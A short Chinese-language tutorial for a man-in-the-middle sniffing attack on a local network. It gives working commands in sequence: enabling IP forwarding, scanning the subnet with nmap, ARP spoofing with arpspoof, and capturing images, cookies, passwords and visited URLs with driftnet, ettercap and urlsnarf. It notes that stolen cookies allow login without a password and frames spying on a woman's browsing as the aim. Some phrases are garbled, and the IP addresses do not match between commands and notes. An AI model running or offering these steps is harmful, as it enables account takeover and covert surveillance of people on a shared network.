三伏磨网络嗅探攻击：arpspoof+driftnet+ ARP
首先开启ip转发
1.设置允许设备通过自己网卡联网
echo 1 >/proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
获取网关及局域网机器信息
netstat -rn（注意网关要与设备名相符）
扫描内网机器
nmap -sP 192.168.101.0/24
扫描内外机器端口
nmap -PS 192.168.101.0/24
arp欺骗
arpspoof -i eth0 -t 192.168.101.1 192.168.101.106
获取图片
driftnet -i eth0
注：wlan0为我的电脑网卡，192.168.1.4为目标ip，192.168.1.1为网关。
获取cookie西悉尼
ettercap也可以获取cookie,导入谷歌浏览器即可免密码进入网页
在虚拟机中开启 ARP 欺骗，并输入命令 ettercap -Tq -i eth0 监测密码和账号
获取url信息
7 ，输入urlsnarf -i wlan0 监听女神浏览过的网页日志，等待获取
urlsnarf -i eth0
抓包嗅探
再打开一个终端，输入wireshark ，进行抓包
